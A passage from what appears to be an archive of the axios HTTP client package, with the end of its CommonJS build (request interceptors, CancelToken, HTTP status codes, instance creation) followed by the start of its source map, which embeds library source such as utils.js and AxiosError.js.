Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase(); // Flatten headers let contextHeaders = headers && utils$1.merge( headers.common, headers[config.method] ); headers && utils$1.forEach( ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], (method) => { delete headers[method]; } ); config.headers = AxiosHeaders$1.concat(contextHeaders, headers); // filter out skipped interceptors const requestInterceptorChain = []; let synchronousRequestInterceptors = true; this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) { if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) { return; } synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous; requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected); }); const responseInterceptorChain = []; this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) { responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected); }); let promise; let i = 0; let len; if (!synchronousRequestInterceptors) { const chain = [dispatchRequest.bind(this), undefined]; chain.unshift.apply(chain, requestInterceptorChain); chain.push.apply(chain, responseInterceptorChain); len = chain.length; promise = Promise.resolve(config); while (i < len) { promise = promise.then(chain[i++], chain[i++]); } return promise; } len = requestInterceptorChain.length; let newConfig = config; i = 0; while (i < len) { const onFulfilled = requestInterceptorChain[i++]; const onRejected = requestInterceptorChain[i++]; try { newConfig = onFulfilled(newConfig); } catch (error) { onRejected.call(this, error); break; } } try { promise = dispatchRequest.call(this, newConfig); } catch (error) { return Promise.reject(error); } i = 0; len = responseInterceptorChain.length; while (i < len) { promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]); } return promise; } getUri(config) { config = mergeConfig(this.defaults, config); const fullPath = buildFullPath(config.baseURL, config.url); return buildURL(fullPath, config.params, config.paramsSerializer); } } // Provide aliases for supported request methods utils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) { /*eslint func-names:0*/ Axios.prototype[method] = function(url, config) { return this.request(mergeConfig(config || {}, { method, url, data: (config || {}).data })); }; }); utils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) { /*eslint func-names:0*/ function generateHTTPMethod(isForm) { return function httpMethod(url, data, config) { return this.request(mergeConfig(config || {}, { method, headers: isForm ? { 'Content-Type': 'multipart/form-data' } : {}, url, data })); }; } Axios.prototype[method] = generateHTTPMethod(); Axios.prototype[method + 'Form'] = generateHTTPMethod(true); }); const Axios$1 = Axios; /** * A `CancelToken` is an object that can be used to request cancellation of an operation. * * @param {Function} executor The executor function. * * @returns {CancelToken} */ class CancelToken { constructor(executor) { if (typeof executor !== 'function') { throw new TypeError('executor must be a function.'); } let resolvePromise; this.promise = new Promise(function promiseExecutor(resolve) { resolvePromise = resolve; }); const token = this; // eslint-disable-next-line func-names this.promise.then(cancel => { if (!token._listeners) return; let i = token._listeners.length; while (i-- > 0) { token._listeners[i](cancel); } token._listeners = null; }); // eslint-disable-next-line func-names this.promise.then = onfulfilled => { let _resolve; // eslint-disable-next-line func-names const promise = new Promise(resolve => { token.subscribe(resolve); _resolve = resolve; }).then(onfulfilled); promise.cancel = function reject() { token.unsubscribe(_resolve); }; return promise; }; executor(function cancel(message, config, request) { if (token.reason) { // Cancellation has already been requested return; } token.reason = new CanceledError(message, config, request); resolvePromise(token.reason); }); } /** * Throws a `CanceledError` if cancellation has been requested. */ throwIfRequested() { if (this.reason) { throw this.reason; } } /** * Subscribe to the cancel signal */ subscribe(listener) { if (this.reason) { listener(this.reason); return; } if (this._listeners) { this._listeners.push(listener); } else { this._listeners = [listener]; } } /** * Unsubscribe from the cancel signal */ unsubscribe(listener) { if (!this._listeners) { return; } const index = this._listeners.indexOf(listener); if (index !== -1) { this._listeners.splice(index, 1); } } /** * Returns an object that contains a new `CancelToken` and a function that, when called, * cancels the `CancelToken`. */ static source() { let cancel; const token = new CancelToken(function executor(c) { cancel = c; }); return { token, cancel }; } } const CancelToken$1 = CancelToken; /** * Syntactic sugar for invoking a function and expanding an array for arguments. * * Common use case would be to use `Function.prototype.apply`. * * ```js * function f(x, y, z) {} * var args = [1, 2, 3]; * f.apply(null, args); * ``` * * With `spread` this example can be re-written. * * ```js * spread(function(x, y, z) {})([1, 2, 3]); * ``` * * @param {Function} callback * * @returns {Function} */ function spread(callback) { return function wrap(arr) { return callback.apply(null, arr); }; } /** * Determines whether the payload is an error thrown by Axios * * @param {*} payload The value to test * * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false */ function isAxiosError(payload) { return utils$1.isObject(payload) && (payload.isAxiosError === true); } const HttpStatusCode = { Continue: 100, SwitchingProtocols: 101, Processing: 102, EarlyHints: 103, Ok: 200, Created: 201, Accepted: 202, NonAuthoritativeInformation: 203, NoContent: 204, ResetContent: 205, PartialContent: 206, MultiStatus: 207, AlreadyReported: 208, ImUsed: 226, MultipleChoices: 300, MovedPermanently: 301, Found: 302, SeeOther: 303, NotModified: 304, UseProxy: 305, Unused: 306, TemporaryRedirect: 307, PermanentRedirect: 308, BadRequest: 400, Unauthorized: 401, PaymentRequired: 402, Forbidden: 403, NotFound: 404, MethodNotAllowed: 405, NotAcceptable: 406, ProxyAuthenticationRequired: 407, RequestTimeout: 408, Conflict: 409, Gone: 410, LengthRequired: 411, PreconditionFailed: 412, PayloadTooLarge: 413, UriTooLong: 414, UnsupportedMediaType: 415, RangeNotSatisfiable: 416, ExpectationFailed: 417, ImATeapot: 418, MisdirectedRequest: 421, UnprocessableEntity: 422, Locked: 423, FailedDependency: 424, TooEarly: 425, UpgradeRequired: 426, PreconditionRequired: 428, TooManyRequests: 429, RequestHeaderFieldsTooLarge: 431, UnavailableForLegalReasons: 451, InternalServerError: 500, NotImplemented: 501, BadGateway: 502, ServiceUnavailable: 503, GatewayTimeout: 504, HttpVersionNotSupported: 505, VariantAlsoNegotiates: 506, InsufficientStorage: 507, LoopDetected: 508, NotExtended: 510, NetworkAuthenticationRequired: 511, }; Object.entries(HttpStatusCode).forEach(([key, value]) => { HttpStatusCode[value] = key; }); const HttpStatusCode$1 = HttpStatusCode; /** * Create an instance of Axios * * @param {Object} defaultConfig The default config for the instance * * @returns {Axios} A new instance of Axios */ function createInstance(defaultConfig) { const context = new Axios$1(defaultConfig); const instance = bind(Axios$1.prototype.request, context); // Copy axios.prototype to instance utils$1.extend(instance, Axios$1.prototype, context, {allOwnKeys: true}); // Copy context to instance utils$1.extend(instance, context, null, {allOwnKeys: true}); // Factory for creating new instances instance.create = function create(instanceConfig) { return createInstance(mergeConfig(defaultConfig, instanceConfig)); }; return instance; } // Create the default instance to be exported const axios = createInstance(defaults$1); // Expose Axios class to allow class inheritance axios.Axios = Axios$1; // Expose Cancel & CancelToken axios.CanceledError = CanceledError; axios.CancelToken = CancelToken$1; axios.isCancel = isCancel; axios.VERSION = VERSION; axios.toFormData = toFormData; // Expose AxiosError class axios.AxiosError = AxiosError; // alias for CanceledError for backward compatibility axios.Cancel = axios.CanceledError; // Expose all/spread axios.all = function all(promises) { return Promise.all(promises); }; axios.spread = spread; // Expose isAxiosError axios.isAxiosError = isAxiosError; // Expose mergeConfig axios.mergeConfig = mergeConfig; axios.AxiosHeaders = AxiosHeaders$1; axios.formToJSON = thing => formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing); axios.getAdapter = adapters.getAdapter; axios.HttpStatusCode = HttpStatusCode$1; axios.default = axios; module.exports = axios; //# sourceMappingURL=axios.cjs.map node/axios.cjs.map000064400001015516151677271550010122 0ustar00{"version":3,"file":"axios.cjs","sources":["../../lib/helpers/bind.js","../../lib/utils.js","../../lib/core/AxiosError.js","../../lib/helpers/toFormData.js","../../lib/helpers/AxiosURLSearchParams.js","../../lib/helpers/buildURL.js","../../lib/core/InterceptorManager.js","../../lib/defaults/transitional.js","../../lib/platform/node/classes/URLSearchParams.js","../../lib/platform/node/index.js","../../lib/platform/common/utils.js","../../lib/platform/index.js","../../lib/helpers/toURLEncodedForm.js","../../lib/helpers/formDataToJSON.js","../../lib/defaults/index.js","../../lib/helpers/parseHeaders.js","../../lib/core/AxiosHeaders.js","../../lib/core/transformData.js","../../lib/cancel/isCancel.js","../../lib/cancel/CanceledError.js","../../lib/core/settle.js","../../lib/helpers/isAbsoluteURL.js","../../lib/helpers/combineURLs.js","../../lib/core/buildFullPath.js","../../lib/env/data.js","../../lib/helpers/parseProtocol.js","../../lib/helpers/fromDataURI.js","../../lib/helpers/throttle.js","../../lib/helpers/speedometer.js","../../lib/helpers/AxiosTransformStream.js","../../lib/helpers/readBlob.js","../../lib/helpers/formDataToStream.js","../../lib/helpers/ZlibHeaderTransformStream.js","../../lib/helpers/callbackify.js","../../lib/adapters/http.js","../../lib/helpers/progressEventReducer.js","../../lib/helpers/isURLSameOrigin.js","../../lib/helpers/cookies.js","../../lib/core/mergeConfig.js","../../lib/helpers/resolveConfig.js","../../lib/adapters/xhr.js","../../lib/helpers/composeSignals.js","../../lib/helpers/trackStream.js","../../lib/adapters/fetch.js","../../lib/adapters/adapters.js","../../lib/core/dispatchRequest.js","../../lib/helpers/validator.js","../../lib/core/Axios.js","../../lib/cancel/CancelToken.js","../../lib/helpers/spread.js","../../lib/helpers/isAxiosError.js","../../lib/helpers/HttpStatusCode.js","../../lib/axios.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n }\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[Symbol.iterator];\n\n const iterator = generator.call(obj);\n\n let result;\n\n while ((result = iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n }\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n DIGIT,\n ALPHA,\n ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n let str = '';\n const {length} = alphabet;\n while (size--) {\n str += alphabet[Math.random() * length|0]\n }\n\n return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n }\n\n return source;\n }\n\n return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n ALPHABET,\n generateString,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils.toJSONObject(this.config),\n code: this.code,\n status: this.response && this.response.status ? this.response.status : null\n };\n }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype);\n\n utils.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\nexport default AxiosError;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (PlatformFormData || FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // eslint-disable-next-line 